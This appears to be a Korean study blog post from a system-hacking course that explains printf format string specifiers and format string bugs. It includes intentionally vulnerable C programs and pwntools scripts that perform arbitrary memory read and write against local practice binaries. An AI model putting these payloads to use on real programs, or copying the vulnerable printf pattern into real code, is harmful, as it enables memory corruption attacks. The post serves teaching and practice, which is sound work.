[Memory Corruption : Format String Bug]
1. 포맷 스트링
1) 포맷 스트링
- 구성 : %[parameter][flags][width][.precision][length]type
2) 형식 지정자 (specifier)
- 인자를 어떻게 사용할지 지정
형식 지정자 | 설명 |
d | 부호 있는 10진수 정수 |
s | 문자열 |
x | 부호 없는 16진수 정수 |
n | 인자에 현재까지 사용된 문자열의 길이를 저장 |
p | void형 포인터 |
3) 너비 지정자 (width)
- 최소 너비 지정
- 치환되는 문자열이 이 값보다 짧을 경우, 공백문자 패딩
너비 지정자 | 설명 |
정수 | 정수의 값 만큼을 최소 너비로 지정 |
* | 인자의 값 만큼을 최소 너비로 지정 |
cf) "%n"의 쓰임
- 포맷스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없음
- 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n을 사용하여 이런 문제를 해결할 수 있음
printf("%s%n: hi\n", "Alice", &num); // "Alice: hi", num = 5
printf("%*s: hello\n", num, "Bob"); // " Bob: hello "
- 이 예시 코드에서 첫 번째 인자가 문자열 변수이고, 사용자가 “Alice”보다 긴 문자열을 입력해도 “Bob: Hello”는 그 문장과 정렬된 결과를 출력할 것
4) parameter
- 참조할 인자의 인덱스 지정
- 이 필드의 끝은 $로 표기
- 인덱스의 범위를 전달된 인자의 갯수와 비교하지 않음
printf("%2$d, %1$d\n", 2, 1); // "1, 2"
2. 포맷 스트링 버그
1) 포맷 스트링 버그
- 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그
- 포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있음
2) 레지스터 및 스택 읽기
- 예제
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
- 사용자가 임의의 포맷 스트링을 입력할 수 있는 코드
- %p %p %p %p %p %p %p %p %p %p 값을 입력하니 값들이 출력되는 것을 볼 수 있음
- 전달한 인자가 없는데 포맷 스트링이 10개의 인자를 요구하면서 레지스터와 스택의 값이 출력된 것
- x64의 함수 호출 규약을 생각해보면, 이들이 각각 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]의 값임을 알 수 있음
3) 임의 주소 읽기
- 스택 읽기의 결과에서 주목할 점은 6번째 출력 값인 [rsp]부터는 사용자의 입력을 8글자씩 참조한다는 것
0x7025207025207025 => ”%p %p %p”
- 이를 응용하면 포맷 스트링에 참조하고 싶은 주소를 넣고, %[n]$s 의 형식으로 그 주소의 데이터를 읽을 수 있음
- 예제
// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aar")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)
p.sendline(fstring)
p.interactive()
4) 임의 주소 쓰기
- 임의 주소 읽기에서처럼 포맷 스트링에 임의의 주소를 넣고, %[n]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있음
- 예제
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
#!/usr/bin/python3
#Name: fsb_aar.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)
p.sendline(fstring)
print(p.recvall())
- Secret이 31337로 조작되는 것을 확인할 수 있음
'Security > System Hacking' 카테고리의 다른 글
[Dreamhack System Hacking] STAGE 10 - basic_exploitation_002 (0) | 2022.02.19 |
---|---|
[Dreamhack System Hacking] STAGE 10 - 함께실습 (0) | 2022.02.19 |
[Dreamhack System Hacking] STAGE 9 - out_of_bound (0) | 2022.02.17 |
[Dreamhack System Hacking] STAGE 9 (0) | 2022.02.16 |
[Lazenca] Protection Tech > PIE, RELRO (0) | 2022.02.10 |
댓글